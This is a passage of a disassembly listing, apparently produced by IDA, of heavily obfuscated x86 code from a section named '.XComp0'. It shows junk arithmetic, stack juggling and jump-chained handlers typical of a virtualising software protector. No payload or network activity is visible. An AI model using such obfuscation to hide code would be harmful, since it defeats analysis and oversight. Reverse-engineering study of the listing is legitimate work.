[esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_578AB9: ; CODE XREF: .XComp0:0057FABAj push 5C50419Fh pop esi shr esi, 7 push esi not dword ptr [esp] pop esi add esi, 144A0A22h mov ebp, esi pop esi neg ebp dec ebp inc ebp add ebp, 7393CBC9h sub eax, 8BD6C8Dh add eax, ebp add eax, 8BD6C8Dh mov ebp, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add eax, edi push ebp mov ebp, 61A17DACh jmp loc_57677A ; --------------------------------------------------------------------------- loc_578B09: ; CODE XREF: .XComp0:00576B8Fj mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] push ebp mov ebp, esp push edx mov edx, 1FCF03C3h dec edx jmp loc_576B33 ; --------------------------------------------------------------------------- loc_578B2A: ; CODE XREF: .XComp0:00573870j sub ebp, esi pop esi sub ebp, 3C316045h pop eax add ebp, 4 jmp loc_5735D6 ; --------------------------------------------------------------------------- loc_578B3C: ; CODE XREF: .XComp0:0057A35Aj pop eax sub ebx, eax mov eax, [esp] add esp, 4 loc_578B48: ; CODE XREF: .XComp0:00579526j push ecx mov ecx, eax jmp loc_57C754 ; --------------------------------------------------------------------------- loc_578B50: ; CODE XREF: .XComp0:0058119Bj push ebx mov ebx, 37341Bh inc ebx push ebp jmp loc_57FB80 ; --------------------------------------------------------------------------- loc_578B5D: ; CODE XREF: .XComp0:00578EE7j not ebx push eax push ebx pop eax jmp loc_57435D ; --------------------------------------------------------------------------- loc_578B67: ; CODE XREF: .XComp0:0057BAB1j add ebx, ebp pop ebp xchg ebx, [esp] pop esp sub edi, 23BA708Ah add edi, ebp add edi, 23BA708Ah pop ebp xchg edi, [esp] pop esp shr eax, 8 xor eax, ecx xchg eax, edx push 5132h mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_576C6D ; --------------------------------------------------------------------------- loc_578BA6: ; CODE XREF: .XComp0:005739B4j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_581E5D ; --------------------------------------------------------------------------- loc_578BBD: ; CODE XREF: .XComp0:0057AE8Ej xor esi, 0B907DAEh shl esi, 6 jmp loc_57B665 ; --------------------------------------------------------------------------- loc_578BCB: ; CODE XREF: .XComp0:00582E5Bj push 177Bh mov [esp], ecx push esp mov ecx, [esp] push edi jmp loc_575265 ; --------------------------------------------------------------------------- loc_578BDD: ; CODE XREF: .XComp0:00580B9Fj inc ebx sub ebx, 0F8B6C61Eh or edi, ebx pop ebx push edx mov edx, 666767FEh xor edx, 3DE955F5h push ebp mov ebp, 71C952A2h jmp loc_57C287 ; --------------------------------------------------------------------------- loc_578BFE: ; CODE XREF: .XComp0:00578479j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp and dl, 0A2h sub dl, 0 sub bl, dl jmp loc_580E35 ; --------------------------------------------------------------------------- loc_578C1E: ; CODE XREF: .XComp0:005783A4j sub eax, ebp sub eax, 0D9328DBh xchg eax, ebp pop eax sub esp, 4 mov [esp], ecx mov ecx, 4D95E7Eh or ebp, ecx mov ecx, [esp] add esp, 4 shr ebp, 1 sub ebp, 7FEDEFFBh add ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] pop esp inc dword ptr [esp] pushf jmp loc_5784EC ; --------------------------------------------------------------------------- loc_578C5D: ; CODE XREF: .XComp0:0057863Ej push 25ABh mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_5802B7 ; --------------------------------------------------------------------------- loc_578C7B: ; CODE XREF: .XComp0:005819B4j pop esp jmp loc_581F4D ; --------------------------------------------------------------------------- loc_578C81: ; CODE XREF: .XComp0:0057A3C5j add ecx, 4 xchg ecx, [esp] jmp loc_57F3D0 ; --------------------------------------------------------------------------- loc_578C8C: ; CODE XREF: .XComp0:005812DFj mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] jmp loc_578317 ; --------------------------------------------------------------------------- loc_578CA5: ; CODE XREF: .XComp0:00582CE2j xor ebp, 53AF16B6h sub ebp, 1 or ebp, 138C1B2Dh and ebp, 0F770181h xor ebp, 31CD6ABh jmp loc_573A59 ; --------------------------------------------------------------------------- loc_578CC8: ; CODE XREF: .XComp0:00579E1Dj and ebx, 1B806E9h jmp loc_5761B1 ; --------------------------------------------------------------------------- loc_578CD3: ; CODE XREF: .XComp0:00580904j xor ebp, [esp] jmp loc_57662C ; --------------------------------------------------------------------------- loc_578CDB: ; CODE XREF: .XComp0:00580C0Fj mov esi, eax pop eax neg esi xor esi, 7F7D7BFEh shr esi, 1 xor esi, 7CE8DFA7h jmp loc_5784F1 ; --------------------------------------------------------------------------- loc_578CF3: ; CODE XREF: .XComp0:0057E3AAj xchg edi, edx not edi xchg edi, edx push esi mov esi, 52DEA4A4h sub edx, esi pop esi add ecx, edx mov edx, [esp] add esp, 4 xchg ecx, [esp] jmp loc_577B0C ; --------------------------------------------------------------------------- loc_578D15: ; CODE XREF: .XComp0:00581314j mov edx, 35E6C4FDh sub esi, edx jmp loc_5784E3 ; --------------------------------------------------------------------------- loc_578D21: ; CODE XREF: .XComp0:00581345j mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push eax push esi push edi mov edi, 0C2A7FCCh mov esi, edi jmp loc_57FFED ; --------------------------------------------------------------------------- loc_578D41: ; CODE XREF: .XComp0:0058266Aj push esp pop dword ptr [esp] jmp loc_57F094 ; --------------------------------------------------------------------------- loc_578D4A: ; CODE XREF: .XComp0:0057EB94j pop esi sub esp, 4 mov [esp], eax push 4 mov eax, [esp] add esp, 4 add ecx, eax pop eax push ecx push esp jmp loc_576A2B ; --------------------------------------------------------------------------- loc_578D66: ; CODE XREF: .XComp0:005830DFj mov esi, 5F8B1B3Ah jmp loc_579AAB ; --------------------------------------------------------------------------- loc_578D70: ; CODE XREF: .XComp0:0057A716j sub edi, 0DD34B707h push eax push ebx mov ebx, 7E2B1212h jmp loc_57C0CE ; --------------------------------------------------------------------------- loc_578D82: ; CODE XREF: .XComp0:0057A618j mov ebp, 4 push ecx mov ecx, ebp mov ebx, ecx pop ecx pop ebp mov ecx, ebx jmp loc_57E222 ; --------------------------------------------------------------------------- loc_578D95: ; CODE XREF: .XComp0:00578692j mov esi, [esp] push 70B5h mov [esp], edi mov edi, esp jmp loc_577E98 ; --------------------------------------------------------------------------- loc_578DA7: ; CODE XREF: .XComp0:00582B7Aj sub esp, 4 mov [esp], ebx mov ebx, 0E3E99D16h mov eax, ebx mov ebx, [esp] jmp loc_5771DD ; --------------------------------------------------------------------------- loc_578DBC: ; CODE XREF: .XComp0:0057A823j add ebx, 4 xchg ebx, [esp] pop esp push 1D63h mov [esp], esi push eax jmp loc_57FE97 ; --------------------------------------------------------------------------- loc_578DD4: ; CODE XREF: .XComp0:0057A46Dj push ebx mov ebx, 17B31C4Bh mov ecx, ebx pop ebx xchg esi, ecx not esi xchg esi, ecx sub ecx, 0E84CE3B2h sub ebx, 153627EEh add ebx, ecx add ebx, 153627EEh jmp loc_576580 ; --------------------------------------------------------------------------- loc_578DFC: ; CODE XREF: .XComp0:0057A82Ej mov esi, esp add esi, 4 push ebp mov ebp, 4 add esi, ebp pop ebp jmp loc_58340C ; --------------------------------------------------------------------------- loc_578E12: ; CODE XREF: .XComp0:00579939j mov esi, esp push 74E0h mov [esp], ebx mov ebx, 4 add esi, ebx jmp loc_582E13 ; --------------------------------------------------------------------------- loc_578E28: ; CODE XREF: .XComp0:00574532j mov edi, esp sub esp, 4 mov [esp], eax mov eax, 3BE26AC3h not eax jmp loc_57C093 ; --------------------------------------------------------------------------- loc_578E3F: ; CODE XREF: .XComp0:00581B04j push esi mov esi, 63422C98h xor esi, 56DD3A44h sub esp, 4 mov [esp], edi mov edi, 5E080565h xor esi, edi pop edi xor esi, 6B9713BDh jmp loc_57CEDE ; --------------------------------------------------------------------------- loc_578E64: ; CODE XREF: .XComp0:005769ADj xchg ebx, edi dec ebx xchg ebx, edi xor edi, 1CF31EF0h and edi, 56C21A68h add edi, 762182D2h sub esi, edi pop edi add ecx, esi mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] jmp loc_5826C3 ; --------------------------------------------------------------------------- loc_578EA5: ; CODE XREF: .XComp0:00581F60j mov eax, [esp] add esp, 4 jmp loc_57C4B8 ; --------------------------------------------------------------------------- loc_578EB3: ; CODE XREF: .XComp0:00576B2Ej shr cl, 7 jmp loc_57ECBA ; --------------------------------------------------------------------------- loc_578EBB: ; CODE XREF: .XComp0:00581AB4j add eax, 4 xchg eax, [esp] pop esp jmp loc_576B4C ; --------------------------------------------------------------------------- loc_578EC7: ; CODE XREF: .XComp0:0057C890j pop esp xchg edi, [esp] jmp loc_57B614 ; --------------------------------------------------------------------------- loc_578ED0: ; CODE XREF: .XComp0:00577FA1j push ecx mov ecx, esp push edx mov edx, 79E121E8h jmp loc_580AC5 ; --------------------------------------------------------------------------- loc_578EDE: ; CODE XREF: .XComp0:005743A2j mov ebx, [esp] add esp, 4 jmp loc_578B5D ; --------------------------------------------------------------------------- loc_578EEC: ; CODE XREF: .XComp0:00578A28j add esi, edi pop edi xchg esi, [esp] mov esp, [esp] test cx, ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_578EFE: ; CODE XREF: .XComp0:0057FD10j mov edx, 2 push esi push eax jmp loc_5835FD ; --------------------------------------------------------------------------- loc_578F0A: ; CODE XREF: .XComp0:0057BE5Fj mov ch, 0B2h jmp loc_576DB0 ; --------------------------------------------------------------------------- loc_578F11: ; CODE XREF: .XComp0:0057B621j sub bh, 0F5h sub bh, 0E8h add bh, dl add bh, 0E8h add bh, 0F5h jmp loc_575DFD ; --------------------------------------------------------------------------- loc_578F24: ; CODE XREF: .XComp0:00577577j add ebp, edx mov edx, [esp] add esp, 4 jmp loc_57D5F6 ; --------------------------------------------------------------------------- loc_578F34: ; CODE XREF: .XComp0:00575FE8j add bh, 0D1h sub esp, 2 mov [esp], ax jmp loc_577541 ; --------------------------------------------------------------------------- loc_578F46: ; CODE XREF: .XComp0:0057C497j mov al, 0E2h neg al not al add al, 3Bh jmp loc_579491 ; --------------------------------------------------------------------------- loc_578F53: ; CODE XREF: .XComp0:005808A8j xor [esp], ecx xor ecx, [esp] pop esp sub eax, ebx push ebp push edi mov edi, 58314DFBh mov ebp, 7D44811Fh sub ebp, edi pop edi jmp loc_582590 ; --------------------------------------------------------------------------- loc_578F70: ; CODE XREF: .XComp0:0057FB7Bj or edi, 3EED6BC4h add edi, 73A861B3h xor edi, 0F933D6D7h or esi, edi pop edi not esi xchg edx, esi not edx xchg edx, esi xchg ecx, esi not ecx xchg ecx, esi push ebp mov ebp, 40F3374Ah not ebp sub ebp, 3A0C0099h xor esi, ebp pop ebp sub esp, 4 mov [esp], esi mov ecx, [esp] jmp loc_5829AF ; --------------------------------------------------------------------------- loc_578FB5: ; CODE XREF: .XComp0:00576572j add edx, 4EC65861h push dword ptr [esp] pop edi add esp, 4 xchg edx, [esp] mov esp, [esp] idiv cx jmp loc_573B34 ; --------------------------------------------------------------------------- loc_578FD0: ; CODE XREF: .XComp0:0057C184j mov [esp], ebp push ebx push 70BF568Ch mov ebx, [esp] add esp, 4 push 0 sub [esp], ebx pop ebx jmp loc_579C62 ; --------------------------------------------------------------------------- loc_578FED: ; CODE XREF: .XComp0:005763ABj pop esp jmp loc_573541 ; --------------------------------------------------------------------------- loc_578FF3: ; CODE XREF: .XComp0:00579F10j pop eax pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_57C89C ; --------------------------------------------------------------------------- loc_579005: ; CODE XREF: .XComp0:00580FDBj xor esi, [esp] mov esp, [esp] dec dword ptr [esp] pushf jmp loc_5781EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_579014: ; CODE XREF: sub_5A47B5-2713Cj add esp, 2 add al, bl push ecx jmp loc_573A28 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_577EBC ; --------------------------------------------------------------------------- loc_57902A: ; CODE XREF: .XComp0:0057D782j mov esi, esp add esi, 4 sub esi, 4 jmp loc_57E454 ; --------------------------------------------------------------------------- loc_57903D: ; CODE XREF: .XComp0:005739DAj add dx, 5D7Bh pop cx xor bx, dx mov edx, [esp] add esp, 4 add ax, bx jmp loc_57BF3F ; --------------------------------------------------------------------------- loc_579058: ; CODE XREF: .XComp0:0057A7FEj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_57605E ; --------------------------------------------------------------------------- loc_57906F: ; CODE XREF: .XComp0:00580B35j pop ebp jmp loc_5829C5 ; --------------------------------------------------------------------------- loc_579075: ; CODE XREF: .XComp0:0057704Dj xor [esp], ebp xor ebp, [esp] pop esp push small word ptr [eax] jmp loc_573541 ; --------------------------------------------------------------------------- loc_579084: ; CODE XREF: .XComp0:0057BBFDj pop ebx and ecx, edx pop edx shr ecx, 2 push 42A4h mov [esp], ebx push dword ptr [esp] pop eax jmp loc_5820B9 ; --------------------------------------------------------------------------- lodsb xor al, bl push 39B8h mov [esp], edx push bx mov bl, 0BDh mov dh, bl pop bx xor al, dh mov edx, [esp] push esi push esp pop esi add esi, 4 push esi mov esi, esp push ebp jmp loc_57E602 ; --------------------------------------------------------------------------- loc_5790C6: ; CODE XREF: .XComp0:00577504j not ebx xor ebx, 712ECA74h mov ecx, ebx pop ebx sub ecx, edi pop edi add [esp+4], ecx push dword ptr [esp] pop ecx push eax jmp loc_579EFE ; --------------------------------------------------------------------------- loc_5790E2: ; CODE XREF: .XComp0:0058008Fj neg edx add edx, 2D73FB39h sub eax, 0B2A78A5h sub eax, 580A23C0h sub eax, edx push ebx mov ebx, 27C800DCh not ebx add ebx, 3F4B72A2h sub ebx, 0BF794E05h sub eax, 0EE25497h add eax, 2D5576h add eax, ebx sub eax, 2D5576h jmp loc_57E123 ; --------------------------------------------------------------------------- loc_579120: ; CODE XREF: .XComp0:00573F43j push edi push ebp jmp loc_577C7D ; --------------------------------------------------------------------------- loc_579127: ; CODE XREF: .XComp0:0057C86Ej pop edi xchg ebx, [esp] jmp loc_57718C ; --------------------------------------------------------------------------- loc_579130: ; CODE XREF: .XComp0:0057A4D0j mov [esp], eax mov ah, bh mov [edx], ah pop eax mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, esp push esi mov esi, 4 add eax, esi jmp loc_57F868 ; --------------------------------------------------------------------------- loc_579168: ; CODE XREF: .XComp0:00573C41j mov ch, bh pop ebx pop eax push dx push ecx jmp loc_582857 ; --------------------------------------------------------------------------- loc_579174: ; CODE XREF: .XComp0:00581BACj dec edx xor edx, 7B2F7388h shr edx, 4 or edx, 0D431FCCh xor edx, 2644E8A5h xor eax, edx pop edx push ebx mov ebx, 574E122Ch inc ebx xor ebx, 34576BA9h jmp loc_582CE7 ; --------------------------------------------------------------------------- loc_57919F: ; CODE XREF: .XComp0:00582B08j xchg ebp, [esp] pop esp jmp loc_57B95C ; --------------------------------------------------------------------------- mov cx, [esp] push 4FEEh jmp loc_575537 ; --------------------------------------------------------------------------- loc_5791B6: ; CODE XREF: .XComp0:0057EBB7j pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_57F083 ; --------------------------------------------------------------------------- loc_5791C5: ; CODE XREF: .XComp0:005775EFj sub dh, 0A5h sub al, dh pop edx push ecx mov cl, 83h jmp loc_57FAD2 ; --------------------------------------------------------------------------- loc_5791D3: ; CODE XREF: .XComp0:005759E2j neg esi sub esi, 4C15D6D6h sub ebp, esi pop esi sub ebp, 1B311525h add ebp, esi add ebp, 1B311525h add ebp, 1B475DF6h mov esi, [esp] jmp loc_581490 ; --------------------------------------------------------------------------- loc_5791FA: ; CODE XREF: .XComp0:0057DC84j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 add eax, 38E97A57h push ecx jmp loc_5792F5 ; --------------------------------------------------------------------------- loc_579211: ; CODE XREF: .XComp0:005835DCj add esp, 4 jmp loc_576D67 ; --------------------------------------------------------------------------- loc_57921C: ; CODE XREF: .XComp0:0057D85Bj xor al, bh jmp loc_573850 ; --------------------------------------------------------------------------- loc_579223: ; CODE XREF: .XComp0:00579A05j mov ebx, ecx pop ecx and [edi+1Ch], ebx jmp loc_57AC3D ; --------------------------------------------------------------------------- loc_57922E: ; CODE XREF: .XComp0:0057BA50j shr al, 7 sub al, 68h jmp loc_57E7B7 ; --------------------------------------------------------------------------- loc_579238: ; CODE XREF: .XComp0:0057B730j push edi mov edi, 3BAD5A6Dh sub ebx, edi pop edi add ebx, eax add ebx, 3BAD5A6Dh pop eax add esi, ebx pop ebx xchg esi, [esp] jmp loc_575C45 ; --------------------------------------------------------------------------- loc_579255: ; CODE XREF: .XComp0:00575EEBj push eax mov eax, 76C75CEEh or ecx, eax pop eax shr ecx, 3 add ecx, 210B4E4Ch add ecx, 0F96E971h add ebx, 235A36E0h add ebx, 58182E0Eh add ebx, ecx push edx mov edx, 58182E0Eh jmp loc_577C17 ; --------------------------------------------------------------------------- loc_579286: ; CODE XREF: .XComp0:0057C897j push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_579B04 ; --------------------------------------------------------------------------- loc_579297: ; CODE XREF: .XComp0:0057B206j push ebp push edx mov edx, 1B017165h mov ebp, 0D081C36Ah xor ebp, edx jmp loc_57E412 ; --------------------------------------------------------------------------- loc_5792AA: ; CODE XREF: .XComp0:0057A485j push edi add dword ptr [esp], 3277298Eh pop eax push esi jmp loc_57C6A0 ; --------------------------------------------------------------------------- loc_5792B9: ; CODE XREF: .XComp0:0057AC38j sub ebx, 5301F1Bh mov ecx, ebx pop ebx jmp loc_582846 ; --------------------------------------------------------------------------- loc_5792C7: ; CODE XREF: .XComp0:005836F1j sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5792E6: ; CODE XREF: .XComp0:00582FF2j jmp loc_573541 ; --------------------------------------------------------------------------- loc_5792EB: ; CODE XREF: .XComp0:005741D4j mov edx, 70FA226Ch jmp loc_57A507 ; --------------------------------------------------------------------------- loc_5792F5: ; CODE XREF: .XComp0:0057920Cj mov ecx, esp push ebx mov ebx, 3AC90A55h neg ebx dec ebx add ebx, 39703081h push eax mov eax, 241A2620h and eax, 3B1107F6h or eax, 19C47DCh sub eax, 0F302048Dh or ebx, eax jmp loc_581A8A ; --------------------------------------------------------------------------- loc_579322: ; CODE XREF: .XComp0:00581F78j mov [esp], esp jmp loc_57DA1E ; --------------------------------------------------------------------------- loc_57932A: ; CODE XREF: .XComp0:00581E9Ej push ecx mov cl, 0C9h jmp loc_57EAA4 ; --------------------------------------------------------------------------- loc_579332: ; CODE XREF: .XComp0:0057380Dj cmp ecx, eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57933A: ; CODE XREF: .XComp0:00576374j xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edx push ebx mov ebx, 792E4F35h push eax mov eax, 96F3651Dh jmp loc_575A1F ; --------------------------------------------------------------------------- loc_579355: ; CODE XREF: .XComp0:0057F826j sub ebp, edi pop edi add ebp, 3B22145Ch jmp loc_5763E6 ; --------------------------------------------------------------------------- loc_579363: ; CODE XREF: .XComp0:00579C53j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_57CC6A ; --------------------------------------------------------------------------- loc_579372: ; CODE XREF: .XComp0:005738AAj push dword ptr [esp] pop ebp push ebx push 0DB1h jmp loc_5756F7 ; --------------------------------------------------------------------------- loc_579381: ; CODE XREF: .XComp0:00580D3Bj add al, 6Eh mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_582738 ; --------------------------------------------------------------------------- loc_57939A: ; CODE XREF: .XComp0:005784CBj add al, bl add al, 1Fh push esi jmp loc_582ACA ; --------------------------------------------------------------------------- loc_5793A4: ; CODE XREF: .XComp0:0057686Ej mov ebp, edi jmp loc_579B17 ; --------------------------------------------------------------------------- loc_5793AB: ; CODE XREF: .XComp0:00582D9Cj mov edx, 37EF67D7h push ebx mov ebx, 745B24EAh xor edx, ebx jmp loc_58286E ; --------------------------------------------------------------------------- loc_5793BD: ; CODE XREF: .XComp0:00580C05j pop eax jmp loc_57E855 ; --------------------------------------------------------------------------- loc_5793C3: ; CODE XREF: .XComp0:00580024j push edi mov edi, 4 mov esi, edi jmp loc_57C7A0 ; --------------------------------------------------------------------------- loc_5793D0: ; CODE XREF: .XComp0:0057F39Ej xor ebp, [esp] jmp loc_57BFC9 ; --------------------------------------------------------------------------- loc_5793D8: ; CODE XREF: .XComp0:0057DAFAj mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_5752BD ; --------------------------------------------------------------------------- loc_5793E5: ; CODE XREF: .XComp0:00573B91j sub esp, 4 jmp loc_57D02D ; --------------------------------------------------------------------------- loc_5793ED: ; CODE XREF: .XComp0:0057FA9Aj mov eax, 9BD2E764h sub esi, eax pop eax mov ebp, esi pop esi mov eax, 0B44042D9h jmp loc_573573 ; --------------------------------------------------------------------------- loc_579402: ; CODE XREF: .XComp0:005762A2j pop eax xchg edx, [esp] jmp loc_5804E5 ; --------------------------------------------------------------------------- mov ax, [esp] push 12AFh mov [esp], ebp push esp mov ebp, [esp] push edi mov edi, esp jmp loc_57C639 ; --------------------------------------------------------------------------- loc_579423: ; CODE XREF: .XComp0:00573B2Fj mov esp, [esp] push 0B63h mov [esp], edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push eax push 7DCB56A1h pop eax neg eax jmp loc_57F9DC ; --------------------------------------------------------------------------- loc_57944E: ; CODE XREF: .XComp0:0057B853j add esi, 0F999E501h xor [esp+4], esi jmp loc_57BB59 ; --------------------------------------------------------------------------- loc_57945D: ; CODE XREF: .XComp0:0057D3C7j mov ebx, 573A6FD6h xor [esp+4], ebx pop ebx pop eax push edi push ebp mov ebp, 573A6FD6h sub esp, 4 mov [esp], ebp push ebx mov ebx, 2B2E6718h sub [esp+4], ebx mov ebx, [esp] add esp, 4 pop edi jmp loc_576F46 ; --------------------------------------------------------------------------- loc_579491: ; CODE XREF: .XComp0:00578F4Ej add bh, al pop eax sub bh, 69h jmp loc_573886 ; --------------------------------------------------------------------------- loc_57949C: ; CODE XREF: .XComp0:0057E7F3j jmp loc_573541 ; --------------------------------------------------------------------------- loc_5794A1: ; CODE XREF: .XComp0:0057CDBAj xor cl, bh inc bh xor cl, bh jmp loc_575645 ; --------------------------------------------------------------------------- loc_5794AC: ; CODE XREF: .XComp0:005782E4j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esi, ecx pop ecx jmp loc_5772E5 ; --------------------------------------------------------------------------- loc_5794C3: ; CODE XREF: .XComp0:0057AA8Ej add eax, 72AB77BFh xor edx, eax pop eax push esi mov esi, 5D345B50h xor esi, 4A407645h sub esi, 2BCD5D70h sub esi, 79E1C14Fh sub eax, esi pop esi jmp loc_577978 ; --------------------------------------------------------------------------- loc_5794EB: ; CODE XREF: .XComp0:005776FBj sub ebx, edi sub ebx, 4A77031Bh jmp loc_576654 ; --------------------------------------------------------------------------- loc_5794F8: ; CODE XREF: .XComp0:005740E6j mov eax, [esp] add esp, 4 push 7420h mov [esp], edi mov edi, esp push ebx jmp loc_57D495 ; --------------------------------------------------------------------------- loc_579511: ; CODE XREF: .XComp0:0057E8F3j push esp jmp loc_57E79F ; --------------------------------------------------------------------------- loc_579517: ; CODE XREF: .XComp0:0057967Aj add esp, 4 add bl, 37h jmp loc_57C3A1 ; --------------------------------------------------------------------------- loc_579522: ; CODE XREF: .XComp0:0057C4E7j cmp dword ptr [edi+20h], 0 jz loc_578B48 push 3C8Bh mov [esp], ecx push 751E0D31h pop ecx add esi, ecx pop ecx add esi, eax push 6D1Eh mov [esp], edx mov edx, 751E0D31h jmp loc_582835 ; --------------------------------------------------------------------------- loc_579551: ; CODE XREF: .XComp0:0057AA6Ej push ecx mov ch, al mov dh, ch mov ecx, [esp] add esp, 4 push eax mov eax, 0 jmp loc_5748C6 ; --------------------------------------------------------------------------- lodsb push edx mov dh, 1Ah push edx jmp loc_57A3E7 ; --------------------------------------------------------------------------- loc_579574: ; CODE XREF: .XComp0:005752B8j add ebp, esi pop esi and eax, ebp mov ebp, [esp] push ebp push 4CF0h mov [esp], esp jmp loc_57EB99 ; --------------------------------------------------------------------------- loc_57958A: ; CODE XREF: .XComp0:005753B1j xor edi, ecx jmp loc_57BC90 ; --------------------------------------------------------------------------- loc_579591: ; CODE XREF: .XComp0:0057BFFDj xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_577FA6 ; --------------------------------------------------------------------------- loc_57959F: ; CODE XREF: .XComp0:0057E21Dj xor [esp], eax xor eax, [esp] pop esp movsx cx, al jmp loc_582C53 ; --------------------------------------------------------------------------- loc_5795AF: ; CODE XREF: .XComp0:00580E86j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] xor eax, ebp mov ebp, [esp] push edi mov edi, esp jmp loc_57F548 ; --------------------------------------------------------------------------- loc_5795D3: ; CODE XREF: .XComp0:005768E4j mov esp, [esp] jmp loc_57B94B ; --------------------------------------------------------------------------- loc_5795DB: ; CODE XREF: .XComp0:0057ABCBj add edx, 71FE39D2h jmp loc_57D423 ; --------------------------------------------------------------------------- loc_5795E6: ; CODE XREF: .XComp0:005817DDj pop edi add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_576FD6 ; --------------------------------------------------------------------------- loc_5795FB: ; CODE XREF: .XComp0:0058324Fj movzx cx, ah push small 23C9h mov [esp], cx movzx cx, al push cx pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_579613: ; CODE XREF: .XComp0:00582F80j push eax mov eax, esp add eax, 4 push ebp push edi mov edi, 21F960B9h mov ebp, 3B1093Bh xor ebp, edi pop edi sub ebp, 2248697Eh jmp loc_581C10 ; --------------------------------------------------------------------------- loc_579635: ; CODE XREF: .XComp0:00582073j pop eax add edx, 33145EBBh sub edx, 5DCA1202h add edx, esi add edx, 5DCA1202h sub edx, 33145EBBh pop esi jmp loc_57B25F ; --------------------------------------------------------------------------- loc_579656: ; CODE XREF: .XComp0:005753F1j pop edx push ecx mov cl, 76h add cl, 1 xor cl, 59h add dh, 19h add dh, 6Ah add dh, cl sub dh, 6Ah sub dh, 19h pop ecx sub bl, 0A9h sub bl, dh add bl, 0A9h mov edx, [esp] jmp loc_579517 ; --------------------------------------------------------------------------- loc_57967F: ; CODE XREF: .XComp0:00575848j mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_5830C4 ; --------------------------------------------------------------------------- loc_579697: ; CODE XREF: .XComp0:00577FAAj mov [esp], ebp push dword ptr [esp+4] jmp loc_57D25E ; --------------------------------------------------------------------------- loc_5796A3: ; CODE XREF: .XComp0:00579DDDj push esi mov esi, 47BC09ADh or esi, 13703BD1h jmp loc_57B520 ; --------------------------------------------------------------------------- loc_5796B4: ; CODE XREF: .XComp0:00576045j sub ebx, 3D6A6ADFh jmp loc_58360C ; --------------------------------------------------------------------------- loc_5796BF: ; CODE XREF: .XComp0:00581D60j add esp, 4 jmp loc_577959 ; --------------------------------------------------------------------------- loc_5796C7: ; CODE XREF: .XComp0:00583158j add edi, edx jmp loc_581B82 ; --------------------------------------------------------------------------- loc_5796CE: ; CODE XREF: .XComp0:005773BAj mov cl, 0A2h mov al, cl pop ecx dec al sub al, 35h jmp loc_57CFAF ; --------------------------------------------------------------------------- loc_5796DC: ; CODE XREF: .XComp0:005738B0j sub ebp, 1F4E36A4h sub ebp, 6D6201F6h jmp loc_5778C3 ; --------------------------------------------------------------------------- loc_5796ED: ; CODE XREF: .XComp0:0057D4B8j push esi mov esi, 0F00488Ch sub edi, esi jmp loc_5821EB ; --------------------------------------------------------------------------- push 7EC9h sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] sub esp, 4 mov [esp], ecx jmp loc_57A616 ; --------------------------------------------------------------------------- loc_57971B: ; CODE XREF: .XComp0:0057B0F8j div cx push edx mov edx, esp jmp loc_57D702 ; --------------------------------------------------------------------------- loc_579726: ; CODE XREF: .XComp0:00576F7Dj push eax jmp loc_57B97D ; --------------------------------------------------------------------------- loc_57972C: ; CODE XREF: .XComp0:0057C290j and ebp, 40D323C8h inc ebp add ebp, 7A721B0Fh add ebp, 88AD1282h add edx, ebp jmp loc_581B3F ; --------------------------------------------------------------------------- loc_579746: ; CODE XREF: .XComp0:0057E618j shl ebx, 8 xor ebx, 0DB3CDE2Dh jmp loc_57D54A ; --------------------------------------------------------------------------- loc_579754: ; CODE XREF: .XComp0:0057C0DBj add edi, eax pop eax add edi, 67813DB5h push ebx push edi mov edi, 5F3B43A0h mov ebx, edi pop edi or ebx, 590B429Eh sub ebx, 60456B7Dh add ebx, 137A20A7h add ebx, 218A8687h or edi, ebx pop ebx or edi, 63227429h jmp loc_5827D9 ; --------------------------------------------------------------------------- loc_57978D: ; CODE XREF: .XComp0:005829E7j pop ebx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], cx 